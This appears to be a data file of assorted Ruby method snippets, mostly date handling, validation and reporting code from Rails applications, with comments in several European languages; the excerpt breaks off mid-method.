"def registro_inicio(vaca,num_horas)\n estim_reg = Time.now.advance(:hours => -num_horas.to_i).localtime\n estimate_time = estim_reg.change(:min => 0)\n return estimate_time \n end",
"def fecha_publicacion\n run_at = self.publication_date\n end",
"def check_offerte_pce(offerte)\n sheet = apri_file(offerte)\n if sheet.cell(\"J\",3) != \"#{$day}/#{$month}/#{$year}\"\n @errore << \"Data presente nel file #{offerte.to_s} non corrisponde con la data selezionata\"\n end\n end",
"def gaceta\n %Q(gaceta #{publicacion} del #{I18n.l publicacion_fecha})\n end",
"def status_to\n TermsCalculator.this_year_end.to_date\n end",
"def verifica_anulacion_del_cierre\n if Cierre.where(\"fechaproceso > ? and activo = ? and empresa_id = ? \", self.fechaproceso.to_date + 1.day, true, 1).exists?\n errors.add(:fechaproceso, \"Existen fechas posteriores que estan cerradas.\")\n end\n end",
"def titre\n \"Links Analysis du #{Time.now.strftime('%d %m %Y à %H:%M')}\"\n end",
"def formata_data_segundo_desconto(formato = '%d%m%y')\n data_segundo_desconto.strftime(formato)\n rescue StandardError\n if formato == '%d%m%y'\n '000000'\n else\n '00000000'\n end\n end",
"def fecha_comprobante\n if self.tipocomprobante_id == 1 #solo para el comprobante manual verifica?\n if self.fechacbte.to_date < Periodo.fecha_ini_periodo(1).to_date\n errors.add(:fechacbte, \"La fecha corresponde a un periodo cerrado.\")\n end\n end\n end",
"def aMoinsDeQuinzeAns?\n Date.civil(Date.today().year, 8, 1).years_ago(15) < self.naissance\n end",
"def peutAider?\n return Date.today().years_ago(13) > self.naissance\n end",
"def check_esitate_epex(file_epex)\n csv = Roo::CSV.new(file_epex.to_s, csv_options: {col_sep: \";\"}) \n if csv.cell(1,2) != \"#{$day}/#{$month}/#{$year}\"\n @errore << \"La data all'interno del file #{file_epex.to_s} non coincide con la data selezionata\"\n end\n end",
"def more_advanced_date\n \tnil\n end",
"def calculaEstimativaBatimentos(anos)\n estimativaBatimentos = anos * 365 * 24 * 60 * 80\n return estimativaBatimentos\nend",
"def frecuencia_pago_intermediario_w\n case self.frecuencia_pago_intermediario\n when 1\n I18n.t('Sistema.Body.General.Periodos.mensual')\n when 3\n I18n.t('Sistema.Body.General.Periodos.trimestral')\n when 6\n I18n.t('Sistema.Body.General.Periodos.semestral')\n when 12\n I18n.t('Sistema.Body.General.Periodos.anual')\n end\n end",
"def ano_eleicao\n puts \"esta eleição esta acontecendo no ano de #{@ano}\"\n \n end",
"def gouv\n debut = params[:premiere].to_date\n fin = params[:derniere].to_date\n @rG = RetenuesGouvernementales.new(debut, fin)\n end",
"def eval_date\n # FIXME: Make pref?\n h = Hash[\"mo\", 1, \"di\", 2, \"mi\", 3, \"do\", 4, \"fr\", 5, \"???\", 6]\n h.merge(Hash[\"mo\", 1, \"tu\", 2, \"we\", 3, \"th\", 4, \"fr\", 5, \"???\", 6])\n a = description.strip.downcase\n a = \"???\" if a.length < 3 || !h.include?(a[0..1])\n day = h[a[0..1]]\n time = a[2..a.length-1].strip.rjust(3, \"0\")\n \"#{day} #{time}\"\n end",
"def formata_data_desconto(formato = '%d%m%y')\n data_desconto.strftime(formato)\n rescue StandardError\n if formato == '%d%m%y'\n '000000'\n else\n '00000000'\n end\n end",
"def edad\n self.per_nacimiento ? ((DateTime.now - self.per_nacimiento) / 365.25).to_i : nil\n end",
"def year_rome_founded\n bce(753)\n end",
"def horas_cierre\n return current_user.grupo.end_times if current_user && !current_user.grupo.nil?\n\n HORAS_CIERRE\n end",
"def inizio_giorno\n Time.new(self.year, self.month, self.day)\n end",
"def ano\n Date.today.strftime('%y')\n end",
"def reiwa?\n Date.new(2019, 5, 1) <= self\n end",
"def recolectar_una\n\t\test = \"\"\n\t\tif @estado == ESTADO::MUERTE\n\t\t\test = \"El árbol está muerto\"\n\t\telse\n\t\t\tif @contador == 0\n\t\t\t\test = \"No hay más naranjas\"\n\t\t\telse\n\t\t\t\test = \"La naranja estaba deliciosa\"\n\t\t\t\t@contador -= 1\n\t\t\tend\n\t\tend\n\t\test\n\tend",
"def fine_giorno\n Time.new(self.year, self.month, self.day, 23, 59, 59)\n end",
"def jeuTermine\n\t\t@grille.score.recupererTemps(self.timer)\n\t\tscoreFinal = @grille.score.calculerScoreFinal\n\t\t@@joueur.score = scoreFinal > 0 ? scoreFinal : 0\n\t\tself.lancementFinDeJeu\n\t\tself\n\tend",
"def pre_initiation_date_status\n 'Pre-announcement'\n end",
"def ver_fecha_df(fecha)\n if fecha\n fecha.strftime(FECHA_FORMATO2)\n else\n '-'\n end\n end",
"def save_confirmar_parciales\n\n correcto=false\n\n\n if params[:fecha_factura_f] !=''\n\n\n if I18n.locale.to_s==\"es\" || I18n.locale.to_s==\"fr\" || I18n.locale.to_s==\"ar\" || I18n.locale.to_s==\"cs\" || I18n.locale.to_s==\"da\" || I18n.locale.to_s==\"de\" || I18n.locale.to_s==\"fi\" || I18n.locale.to_s==\"hu\" || I18n.locale.to_s==\"it\" || I18n.locale.to_s==\"ru\" || I18n.locale.to_s==\"nl\" || I18n.locale.to_s==\"pl\" || I18n.locale.to_s==\"pt\" || I18n.locale.to_s==\"sl\" || I18n.locale.to_s==\"sv\"\n \n fecha_fac=Date.new(params[:fecha_factura_f].to_s[6,4].to_i,\n params[:fecha_factura_f].to_s[3,2].to_i,\n params[:fecha_factura_f].to_s[0,2].to_i) \n \n elsif I18n.locale.to_s==\"ja\" \n \n fecha_fac=Date.new(params[:fecha_factura_f].to_s[0,4].to_i,\n params[:fecha_factura_f].to_s[5,2].to_i,\n params[:fecha_factura_f].to_s[8,2].to_i) \n \n else\n \n fecha_fac=Date.new(params[:fecha_factura_f].to_s[6,4].to_i,\n params[:fecha_factura_f].to_s[0,2].to_i,\n params[:fecha_factura_f].to_s[3,2].to_i) \n \n end \n\n if fecha_fac <= Date.today\n correcto=true\n else\n mensaje_fecha=\"#{I18n.t('Sistema.Body.Modelos.OrdenDespacho.Mensajes.fecha_factura_no_puede_ser_posterior_actual')} \\n\"\n end\n\n else\n mensaje_fecha=\"#{I18n.t('Sistema.Body.Modelos.OrdenDespacho.Mensajes.no_se_ha_seleccionado_fecha_para_factura')} \\n\"\n end\n\n resultado=validar_opciones_parciales(params,params[:parciales_id])\n\n if params[:observacion]=='' || params[:numero_factura]=='' || params[:casa_proveedora_id]=='0' || !correcto || resultado !='-1'\n\n mensaje=\"#{I18n.t('Sistema.Body.Modelos.Desembolso.Errores.posee_errores_en_los_siguientes_campos')}: \\n\\n\"\n\n if params[:observacion]==''\n mensaje+=\"#{I18n.t('Sistema.Body.Modelos.Desembolso.Errores.no_ha_escrito_observacion')} \\n\"\n end\n\n if params[:numero_factura]==''\n mensaje+=\"#{I18n.t('Sistema.Body.Modelos.OrdenDespacho.Mensajes.no_ha_escrito_numero_factura')} \\n\"\n end\n\n if params[:casa_proveedora_id]=='0'\n mensaje+=\"#{I18n.t('Sistema.Body.Modelos.Desembolso.Errores.no_ha_seleccionado_casa_proveedora')} \\n\"\n end\n\n\n if !correcto\n mensaje+=mensaje_fecha\n end\n\n render :update do |page|\n\n if resultado=='-1' \n page.hide 'errorExplanation'\n page.alert mensaje\n else\n resultado_final=resultado.split(\";\")\n page.visual_effect :highlight, \"row_#{resultado_final[0].to_f}\", :duration => 6.6\n page.replace_html 'errorExplanation',\"<h2>#{I18n.t('Sistema.Body.General.ocurrio_error')}</h2><p><UL>\".html_safe << resultado_final[1].to_s.html_safe << \"</UL></p>\".html_safe\n page.show 'errorExplanation'\n page.<< \"window.scrollTo(0,0);\"\n end \n end\n\n else\n\n\n factura=FacturaOrdenDespacho.find(:first)\n if !factura.nil?\n factura_formateada = ('0' * (8 - params[:numero_factura].to_s.length)) + params[:numero_factura].to_s \n\n errores = factura.actualizar_factura_parciales(params[:parciales_id] , \n params[:casa_proveedora_id],\n format_fecha_conversion(params[:fecha_factura_f]),\n factura_formateada,\n session[:id],params)\n if errores == ''\n \n #factura_orden_despacho = FacturaOrdenDespacho.find(errores.id)\n logger.info \"valor de parciales_id <<<<<<<<<<<<\" << params[:parciales_id].to_s \n flash[:notice] = \"#{I18n.t('Sistema.Body.Modelos.OrdenDespacho.Mensajes.se_actualizaron_datos_confirmacion')}\"\n render :update do |page|\n new_options = {:action=>'index',:controller=>'orden_despacho'}\n #new_options = {:action=>'nueva_confirmar_parciales', :parciales_id=>params[:parciales_id]}\n logger.info \"++++++++++++++++\" << new_options.to_s\n\t page.redirect_to new_options\n end\n else\n render :update do |page|\n page.hide 'message'\n page.replace_html 'errorExplanation',\"<h2>#{I18n.t('Sistema.Body.General.ocurrio_error')}</h2><p><UL>\".html_safe << errores << \"</UL></p>\".html_safe unless errores.nil?\n page.show 'errorExplanation'\n page.<< \"window.scrollTo(0,0);\"\n end\n end\n end\n end\n end",
"def date; end",
"def date; end",
"def date; end",
"def date; end",
"def vendredi_13? #methode dinstance\n Date.today.day == 13 and Date.today.friday? # on appelle methode today qui renvoie lobjet date et on compare test le jour par and=&& \n end",
"def get_inicio_vigencia\n self.ciclo.nil? ? \"No tiene un periodo de inicio de vigencia.\" : self.ciclo_ciclo\n end",
"def validar_registro(registro, detalle)\n detalleini = detalle.clone\n if !registro.fechainicio &&\n Cor1440Gen::ApplicationHelper::ESTADOS_APROBADO.include?(registro.estado)\n detalle << \"No tiene fecha de inicio\"\n elsif registro.fechainicio && registro.fechainicio < Date.new(2000, 1, 1)\n detalle << \"Fecha de inicio anterior al 1.Ene.2000\"\n end\n if !registro.fechacierre &&\n Cor1440Gen::ApplicationHelper::ESTADOS_APROBADO.include?(registro.estado)\n detalle << \"No tiene fecha de terminación\"\n elsif registro.fechacierre && registro.fechainicio &&\n registro.fechacierre <= registro.fechainicio\n detalle << \"Fecha de terminación posterior o igual a la de inicio\"\n end\n validar_mas_registro(registro, detalle)\n detalleini == detalle\n end",
"def tiempointerv(ai,mei,di,hi,mii,af,mef,df,hf,mif)\n\t\tfechaini = DateTime.new(ai,mei,di,hi,mii) #fecha de inicio\n\t\tfechafin = DateTime.new(af,mef,df,hf,mif) #fecha de final\n\t\tdiferencia = fechafin - fechaini\n\t\thours,minutes,seconds,frac = Date.day_fraction_to_time(diferencia)\n\t\tif hours < 10\n\t\t\thoras = '0' + hours.to_s\n\t\telse\n\t\t\thoras = hours.to_s\n\t\tend\n\t\tif minutes < 10\n\t\t\tminutos = '0' + minutes.to_s\n\t\telse\n\t\t\tminutos = minutes.to_s\n\t\tend\n\t\ttiempo = horas + ':' + minutos\n\t\treturn tiempo\n\n\tend",
"def upcomming_courses(date)\n raise \"Esta es una excepción\" if date >= Date.parse('2019-01-01')\n @start_date > date ? \"El curso #{@name} empieza próximamente.\" : \"El curso #{@name} ya empezó.\"\n end",
"def get_date_actualizacion\n Date.strptime(self.fecha_actualizacion,'%s')\n end",
"def tRestante(concurso)\n return ((terminaC(concurso) - DateTime.now) / 60)\n end",
"def tRestante(concurso)\n return ((terminaC(concurso) - DateTime.now) / 60)\n end",
"def aplicar_efecto(objeto_espacial_generador_de_choque, objeto_espacial_receptor_de_choque)\n porcentaje_de_masa_actual = @porcentaje_de_masa\n if(porcentaje_de_masa_actual.to_s.include? \"%\")\n porcentaje_de_masa_actual.gsub!(/%/, \"\")\n end\n objeto_espacial_generador_de_choque.masa = objeto_espacial_generador_de_choque.masa + ((porcentaje_de_masa_actual.to_f/100) * objeto_espacial_receptor_de_choque.masa) \n end",
"def formata_data_pagamento(formato = '%d%m%y')\n data_pagamento.strftime(formato)\n rescue\n if formato == '%d%m%y'\n '000000'\n else\n '00000000'\n end\n end",
"def edad\n hoy = Date.today\n hoy.year - fecha_de_nacimiento.year -\n ((hoy.month > fecha_de_nacimiento.month ||\n (hoy.month == fecha_de_nacimiento.month && hoy.day >= fecha_de_nacimiento.day)) ? 0 : 1)\n end",
"def estado\n if titular\n \"Vendido\"\n else\n \"Sin vender\"\n end\n end",
"def fecha_marca\n fecha_numero_marca[:fecha]\n end",
"def opportunity_date_ini_type_friendly(opportunity)\n if opportunity.date_ini_type == 0\n 'Indefinido'\n elsif opportunity.date_ini_type == 1\n 'Lo antes posible'\n else\n 'Fijar fecha'\n end\n end",
"def procesar_fechas\n if params[:q].present? && params[:q][:fecha_lt].present?\n params[:q][:fecha_lt] = params[:q][:fecha_lt].to_datetime.end_of_day\n end\n end",
"def ausgleich\n\t\tsums = {}\n\t\t%w(jo caro).each do |who|\n\t\t\tsums[who] = @db.get_first_value(\"select summe from sum_#{who} where jahr = #{@options[:jahr]} and monat = #{@options[:monat]} and gemeinsam = 'g'\").to_f\n\t\tend\n\n\t\tif(sums['jo'] == sums['caro'])\n\t\t\tputs \"Gleichstand\"\n\t\t\treturn\n\t\tend\n\n\t\tausg = ((sums['jo'] + sums['caro']) / 2 - sums['jo']).abs\n\t\t\n\t\tif(sums['jo'] > sums['caro'])\n\t\t\tprintf(\"Caro an Jo: %.2f EUR\\n\", ausg)\n\t\telse\n\t\t\tprintf(\"Jo an Caro: %.2f EUR\\n\", ausg)\n\t\tend\n\t\t\n\tend",
"def descuento_sueldo(sueldo, tipo_obrero)\n\tif tipo_obrero == 'o'\n\t\tsueldo - (sueldo * 0.12) #OCURRE A\n\telse\n\t\tsueldo - (sueldo * 0.15) #OCURRE B\n\tend\nend",
"def tRestante(concurso)\n return ((terminaC(concurso) - DateTime.now) / 60)\n end",
"def screener_complete_date_for_unended_project\n\t\toe = self.operational_events.screener_complete.unended_project.limit(1).first\n\t\t#\tseparated to try to make 100% coverage (20120411)\n\t\toe.try(:occurred_on)\n\tend",
"def validar_mes\n if @fecha.day < 15\n @fecha = @fecha - 1.month\n end\n end",
"def index_date_info(solr_doc)\n dates = temporal_or_created\n\n unless dates.empty?\n dates.each do |date|\n if date.length() == 4\n date += \"-01-01\"\n end\n\n valid_date = Chronic.parse(date)\n unless valid_date.nil?\n last_digit= valid_date.year.to_s[3,1]\n decade_lower = valid_date.year.to_i - last_digit.to_i\n decade_upper = valid_date.year.to_i + (10-last_digit.to_i)\n if decade_upper >= 2020\n decade_upper =\"Present\"\n end\n Solrizer.insert_field(solr_doc, 'year', \"#{decade_lower} to #{decade_upper}\", :facetable)\n end\n end\n end\n end",
"def wrong_saison(sheet)\n puts \"saison lue dans fichier excel : #{sheet[1,1].to_i}\"\n puts \"saison courante : #{@saison.year.to_i}\"\n \n return !(sheet[1,1].to_i.eql?(@saison.year.to_i))\n end",
"def historico_mensal funcionario\n date = Time.now\n ano = date.strftime(\"%Y\")\n mes = date.strftime(\"%m\")\n data_inicio = Date.new(ano.to_i, mes.to_i, 1) - 5.month\n\n #consultar periodos anteriores a 6 meses\n extra_inicial = funcionario.horarios.where(\"hora_extra = ? and data < ?\", true, data_inicio).sum(\"total_horas\")\n compensado_inicial = funcionario.horarios.where(\"hora_extra = ? and data < ?\", false, data_inicio).sum(\"total_horas\")\n\n i = 0\n acumulado = 0\n lista_datas = {}\n totais_mensal = {}\n\n while i < 6 do\n data_fim = data_inicio + 1.month - 1.day\n\n if i == 0\n data = \"Meses anteriores\"\n else\n data = data_inicio.strftime(\"%m/%Y\")\n end\n\n extra = funcionario.horarios.where(\"hora_extra = ? and data between ? and ?\", true, data_inicio, data_fim).sum(\"total_horas\") + extra_inicial\n compensado = funcionario.horarios.where(\"hora_extra = ? and data between ? and ?\", false, data_inicio, data_fim).sum(\"total_horas\") + compensado_inicial\n saldo = extra - compensado\n acumulado = acumulado + saldo\n\n lista_datas[i] = [data, extra, compensado, saldo, acumulado]\n\n data_inicio = data_inicio + 1.month\n i += 1\n extra_inicial = 0\n compensado_inicial = 0\n end\n\n return lista_datas\n end",
"def set_correlativo(sol)\n rand(10...100).to_s + sol.created_at.year.to_s[2..4] + rand(100...1000).to_s +\n sol.created_at.month.to_s + sol.created_at.day.to_s + rand(100...1000).to_s + sol.id.to_s\n end",
"def fluxo_caixa_despesas_administrativas_realizado(inicio, fim)\n\n sql = Lancamento.despesas.quitados.acao_por_mes.acao_range(inicio, fim)\n .where(:category_id => Category.find_by_code(Configurable.administrative_category_code).subtree_ids)\n .select { date_part('month', dataacao).as(mes) }\n .select{sum(valor).as(value)}.to_sql\n\n return \"SELECT COALESCE(q.mes, m.number) as mes, COALESCE(q.value,0) AS value FROM (\" + sql + \") q RIGHT JOIN months m ON q.mes = m.number\"\n end",
"def one_day_only_has_one_train\n # the_day = self.class.where([\"DATEDIFF(start_time, '#{self.start_time}') = 0\"]).size\n the_day = self.class.where([\"(julianday(date(start_time)) - julianday(date('#{self.start_time.to_date}'))) = 0\"]).size\n if the_day != 0\n self.errors.add(:start_time ,'同一天只能有一筆發車資料')\n end\n end",
"def get_date(fecha)\n \nif fecha != nil\n ds = fecha.strftime(\"%w\") #Dia de la semana\n y = fecha.strftime(\"%Y\") #Año\n dm = fecha.strftime(\"%d\") #Dia del mes\n m = fecha.strftime(\"%m\") # Mes del Año\n meses = {\"01\" => \"Enero\", \"02\" => \"Febrero\",\"03\"=>\"Marzo\",\"04\" => \"Abril\", \"05\" => \"Mayo\",\"06\"=> \"Junio\" ,\"07\"=> \"Julio\", \"08\" => \"Agosto\", \"09\"=> \"Septiembre\" ,\"10\"=> \"Octubre\",\"11\" => \"Noviembre\" ,\"12\" => \"Diciembre\" }\n dias = {\"1\" => \"Domingo\", \"2\" => \"Lunes\",\"3\"=>\"Martes\",\"4\" => \"Miercoles\", \"5\" => \"Jueves\",\"6\"=> \"Viernes\" ,\"0\" =>\"Sabado\"}\n fecha.min < 10 ? min = \"0\" : min = \"\"\n fecha.hour < 10 ? hora = \"0\" : hora = \"\"\n return meses[m].upcase + \" \" + dm + \", \" + y + \", \" + hora + fecha.hour.to_s + \":\" + min + fecha.min.to_s \n#dias[ds] + \", \" +\nend \nend",
"def valorizacao\n \t\tif self.tipo_de_operacao.compra?\n ((self.atual - self.entrada) / self.entrada) * 100.0\n else\n ((self.entrada - self.atual) / self.atual ) * 100.0\n end\n \tend",
"def status_da_divulgacao(topico)\n end",
"def analyze( date, euro )\n date = clean_parameter date\n\n @original = date\n\n date = massage date\n @fixed = date\n\n @year, @month, @day = nil\n\n if date =~ Variables::DATE_PATTERNS[ :yyyy ]\n @year = $1.to_i\n\n elsif date =~ Variables::DATE_PATTERNS[ :yyyy_mm_dd_and_yyyy_mm ]\n @year = $1.to_i\n @month = $2.to_i unless $2.nil?\n @day = $3.to_i unless $3.nil?\n\n elsif date =~ Variables::DATE_PATTERNS[ :dd_mm_yyyy ] && euro\n @day = $1.to_i\n @month = $2.to_i\n @year = $3.to_i\n\n elsif date =~ Variables::DATE_PATTERNS[ :mm_dd_yyyy ]\n @month = $1.to_i\n @day = $2.to_i\n @year = $3.to_i\n\n elsif date =~ Variables::DATE_PATTERNS[ :mm_yyyy ]\n @month = $1.to_i\n @year = $2.to_i\n\n elsif date =~ Variables::DATE_PATTERNS[ :dd_mmm_yyyy_and_dd_mmm ]\n month_text = $2.to_s.capitalize\n @month = Variables::MONTH_NAMES.key( Variables::MONTH_ABBREVIATIONS[ month_text ] )\n @day = $1.to_i\n @year = $3.to_i unless $3.nil?\n\n elsif date =~ Variables::DATE_PATTERNS[ :mmm_dd_yyyy ]\n month_text = $1.to_s.capitalize\n @month = Variables::MONTH_NAMES.key( Variables::MONTH_ABBREVIATIONS[ month_text ] )\n @day = $2.to_i\n @year = $3.to_i unless $3.nil?\n\n elsif date =~ Variables::DATE_PATTERNS[ :mmm_yyyy_and_mmm ]\n month_text = $1.to_s.capitalize\n @month = Variables::MONTH_NAMES.key( Variables::MONTH_ABBREVIATIONS[ month_text ] )\n @year = $2.to_i unless $2.nil?\n\n elsif date =~ Variables::DATE_PATTERNS[ :yyyy_mmm_dd ]\n @year = $1.to_i unless $1.nil?\n month_text = $2.to_s.capitalize\n @month = Variables::MONTH_NAMES.key( Variables::MONTH_ABBREVIATIONS[ month_text ] )\n @day = $3.to_i\n\n elsif date =~ Variables::DATE_PATTERNS[ :yyyy_mmm ]\n @year = $1.to_i unless $1.nil?\n month_text = $2.to_s.capitalize\n @month = Variables::MONTH_NAMES.key( Variables::MONTH_ABBREVIATIONS[ month_text ] )\n\n else\n raise ArgumentError.new( 'Cannot parse date.' )\n end\n\n #- Make sure the dates make sense\n if @month && @month > 13\n raise ArgumentError.new( 'Month cannot be greater than 12.' )\n elsif @month && @day && @day > Variables::DAYS_IN_MONTH[ @month ]\n unless @month == 2 && @year && Date.parse( '1/1/' + @year ).leap? && @day == 29\n raise ArgumentError.new( 'Too many days in this month.' )\n end\n elsif @month && @month < 1\n raise ArgumentError.new( 'Month cannot be less than 1.' )\n elsif @day && @day < 1\n raise ArgumentError.new( 'Day cannot be less than 1.' )\n end\n\n @month_name = Variables::MONTH_NAMES[ @month ]\n\n # ----------------------------------------------------------------------\n\n future_date = Date.new 10_000, 1, 1\n\n year = @year.to_s.rjust( 4, \"0\" )\n\n if @year && @month && @day\n @short = \"#{ show_circa } #{ @month }/#{ @day }/#{ year } #{ show_era }\".strip\n @long = \"#{ show_circa } #{ @day } #{ @month_name } #{ year } #{ show_era }\".strip\n @full = \"#{ show_circa } #{ Date.new( @year, @month, @day ).strftime( '%A, %-1d %B %Y' ) } #{ show_era }\".strip\n @sortable = ( future_date - Date.new( @year * ( bce? ? -1 : 1 ), @month, @day ) ).to_i\n elsif @year && @month\n @short = \"#{ show_circa } #{ @month }/#{ year } #{ show_era }\".strip\n @long = \"#{ show_circa } #{ @month_name } #{ year } #{ show_era }\".strip\n @full = @long\n @sortable = ( future_date - Date.new( @year * ( bce? ? -1 : 1 ), @month, 1 ) ).to_i\n elsif @month && @day\n @short = \"#{ show_circa } #{ @day }-#{ Variables::MONTH_ABBREVIATIONS.key( month_text ) || month_text }\".strip\n @long = \"#{ show_circa } #{ @day } #{ month_name }\".strip\n @full = @long\n @sortable = ( future_date - Date.new( -10_000, @month, @day ) ).to_i\n elsif year\n @short = \"#{ show_circa } #{ year } #{ show_era }\".strip\n @long = @short\n @full = @long\n @sortable = ( future_date - Date.new( @year * ( bce? ? -1 : 1 ), 1, 1 ) ).to_i\n end\n\n end",
"def add_years(year, month, day , offest )\n\n\t### From Hijri to Julian to Gregorian date \n\n\tgd = fromjdtog(islamictojd(year.to_i, month.to_i, day.to_i))\n\n\t### Add months to Gregorian date \n\n\tparsed_date = Date.new( gd[0] , gd[1] , gd[2]) \n\n\tgd_after_add = parsed_date.years_since(offest)\n\n\tgd_after_add = gd_after_add.to_s(:db)\n\n\t### From Gregorian to Julian to Hijri date \t\n\n\thd_after_add = fromjdtoislamic(gtojd(gd_after_add[0,4].to_i,gd_after_add[5,2].to_i,gd_after_add[8,2].to_i))\n\n\t## Return Hijri date \n\n\t#return year.to_s + '-' + month.to_s + '-' + day.to_s + ' بعد اضافة ' + offest.to_s + ' شهر ' + hd_after_add.to_s\n\n\treturn hd_after_add\n\nend",
"def puertos\n raise 'implement please!'\n end",
"def nombre_dia_semana\n\t\t if self.status == \"Activo\"\n\t\t\tdia_nombre = self.visita.strftime(\"%A\")\n\t\t\tif dia_nombre == \"Monday\"\n\t\t\t\tdia_nombre = \"Lunes\"\n\t\t\telsif dia_nombre == \"Tuesday\"\n\t\t\t\tdia_nombre = \"Martes\"\n\t\t\telsif dia_nombre == \"Wednesday\"\n\t\t\t\tdia_nombre = \"Miercoles\"\n\t\t\telsif dia_nombre == \"Thursday\"\n\t\t\t\tdia_nombre = \"Jueves\"\n\t\t\telsif dia_nombre == \"Friday\"\n\t\t\t\tdia_nombre = \"Viernes\"\n\t\t\telsif dia_nombre == \"Saturday\"\n\t\t\t\tdia_nombre = \"Sábado\"\n\t\t\telsif dia_nombre == \"Sunday\"\n\t\t\t\tdia_nombre = \"Domingo\"\n\t\t\tend\n\t\t end\n\t\tend",
"def grafico_total_por_fecha(params = {})\n if params[:data]\n data = params[:data]\n else\n fecha = params[:fecha]\n data = ParteDiario.total_por_fecha(fecha)\n end\n ret_tipo = params[:return]\n fecha_ini = data.first[:fecha]\n fecha_fin = data.last[:fecha]\n public = \"/informes/#{fecha_fin.strftime(\"%Y/%m\")}\"\n if fecha_ini == fecha_ini.at_beginning_of_month && fecha_fin == fecha_ini.at_end_of_month\n tit = I18n.l fecha_ini, :format => \"%B de %Y\"\n else\n tit = \"(30 días) hasta el #{I18n.l fecha_fin, :format => \"%d de %B de %Y\"}\"\n end\n\n g = Gruff::Line.new(550)\n g.theme = THEME_REPORT\n g.marker_font_size = 14\n g.title_font_size = 20\n g.x_axis_label = \"día\"\n dias = {}\n data.each_index{|i| dias[i] = data[i][:fecha].strftime(\"%d\")}\n g.labels = dias\n # Grafica de GAS\n if params[:tipo] == 'gas'\n g.title = \"Producción de Gas #{tit}\"\n g.y_axis_label = \"Miles Pies cúbcos\"\n img = \"#{public}/gas-total-hasta-#{fecha_ini.strftime(\"%d-%m-%Y\")}.png\"\n g.data(\"GAS\", data.map{|v| v.try(:entregado_gasoducto).to_f})\n #Grafica de liquidos\n else\n g.title = \"Producción de Líquidos #{tit}\"\n g.y_axis_label = \"Barriles (BBL)\"\n img = \"#{public}/liquidos-total-hasta-#{fecha_ini.strftime(\"%d-%m-%Y\")}.png\"\n g.data(\"Petroleo\", data.map{|v| v.try(:petroleo).to_f})\n g.data(\"Condensado\", data.map{|v| v.try(:condensado).to_f})\n g.data(\"Gasolina\", data.map{|v| v.try(:gasolina).to_f})\n g.data(\"Suma Líqudos\", data.map{|v| v.try(:gasolina).to_f + v.try(:condensado).to_f + v.try(:petroleo).to_f})\n end\n \n makedirs(Rails.public_path + public)\n #g.normalize\n #g.minimum_value = \n case ret_tipo\n when 'i'\n g.write(Rails.public_path + img)\n return \"<img src=\\\"#{img}\\\" alt=\\\"Producción gas\\\" />\"\n when 'b'\n g.to_blob(\"PNG\")\n else\n g.write(Rails.public_path + img)\n return \"<img src=\\\"#{img}\\\" alt=\\\"Producción gas\\\" />\"\n end\n \n end",
"def check_offerte(offerte)\n sheet = apri_file(offerte)\n if (sheet.cell(\"k\",5) != \"#{$day}/#{$month}/#{$year}\") || (sheet.cell(\"k\",7) != \"#{$day}/#{$month}/#{$year}\")\n @errore << \"Data presente nel file #{offerte.basename} non corrisponde con la data selezionata\"\n end\n mercato = ((offerte.basename.to_s).split(\"_\").last).sub(\".xls\",\"\")\n\n if mercato.match(\"MI\")\n unless (sheet.cell(\"G\",9)) == mercato\n @errore << \"Nel file #{offerte.basename} non ci sono le offerte #{mercato}\"\n end\n else\n unless (sheet.cell(\"G\",9)) == \"MGP\" \n @errore << \"Nel file #{offerte.basename} non ci sono le offerte MGP\"\n end\n\n end\n end",
"def report_fechamento\n\n if params[:date1].blank?\n params[:date1] = Date.today\n @datainicial = Date.today\n else\n @datainicial = Date.strptime(params[:date1], '%Y-%m-%d').strftime(\"%d/%m/%Y\")\n end\n\n if params[:date2].blank?\n params[:date2] = Date.today\n @datafinal = Date.today\n else\n @datafinal = Date.strptime(params[:date2], '%Y-%m-%d').strftime(\"%d/%m/%Y\")\n end\n\n\n if params[:date1].present? && params[:date2].present? && params[:tipo_consulta] == 'Á RECEBER \\ Á PAGAR'\n @total_receipts = Receipt.where(\"due_date BETWEEN ? AND ?\", params[:date1], params[:date2]).where(status: 'Á RECEBER').sum(:value_doc)\n @total_custo = Receipt.where(\"due_date BETWEEN ? AND ?\", params[:date1], params[:date2]).where(status: 'Á RECEBER').sum(:t_cost)\n @total_lucro_bruto = Receipt.where(\"due_date BETWEEN ? AND ?\", params[:date1], params[:date2]).where(status: 'Á RECEBER').sum(:t_profit)\n @status_r = 'Á Receber'\n\n\n @total_payments = Payment.where(\"due_date BETWEEN ? AND ?\", params[:date1], params[:date2]).where(status: 'Á PAGAR').sum(:value_doc)\n @status_p = 'Á Pagar'\n\n elsif params[:date1].present? && params[:date2].present? && params[:tipo_consulta] == 'RECEBIDAS \\ PAGAS'\n @total_receipts = Receipt.where(\"receipt_date BETWEEN ? AND ?\", params[:date1], params[:date2]).where(status: 'RECEBIDA').sum(:value_doc)\n @total_custo = Receipt.where(\"receipt_date BETWEEN ? AND ?\", params[:date1], params[:date2]).where(status: 'RECEBIDA').sum(:t_cost)\n @total_lucro_bruto = Receipt.where(\"receipt_date BETWEEN ? AND ?\", params[:date1], params[:date2]).where(status: 'RECEBIDA').sum(:t_profit)\n @status_r = 'Recebidas'\n\n @total_payments = Payment.where(\"payment_date BETWEEN ? AND ?\", params[:date1], params[:date2]).where(status: 'PAGA').sum(:value_doc)\n @status_p = 'Pagas'\n\n elsif params[:date1].present? && params[:date2].present? && params[:tipo_consulta].blank?\n #flash[:waning] = 'Estes dados são com base no dia de hoje, o que temos á Pagar e á Receber, pelo fato de não ter selecionado uma opção.'\n @total_receipts = Receipt.where(\"due_date BETWEEN ? AND ?\", params[:date1], params[:date2]).sum(:value_doc)\n @total_custo = Receipt.where(\"due_date BETWEEN ? AND ?\", params[:date1], params[:date2]).sum(:t_cost)\n @total_lucro_bruto = Receipt.where(\"due_date BETWEEN ? AND ?\", params[:date1], params[:date2]).sum(:t_profit)\n @status_r = ''\n\n @total_payments = Payment.where(\"due_date BETWEEN ? AND ?\", params[:date1], params[:date2]).sum(:value_doc)\n @status_p = ''\n end\n\n #fazendo o calculo de vendas - despesas\n @total_liquido = @total_receipts.to_f - @total_payments.to_f\n @total_liquido = (@total_liquido).round(2)\n\n #se for por data\n #@total_items = Item.select(\"product_id, date(created_at) as created_at, sum(qnt) as qnt\").where(\"created_at::date BETWEEN ? AND ?\", params[:date1], params[:date2]).group(\"product_id,date(created_at)\").order(\"created_at\")\n\n @total_items = Item.joins(:invoice).select(\"product_id, sum(qnt) as qnt, sum(total_value_cost) as total_value_cost, sum(total_value_sale) as total_value_sale, sum(profit_sale) as profit_sale\").where(\"invoices.type_invoice = 'Venda'\").where(\"invoices.data_prevenda 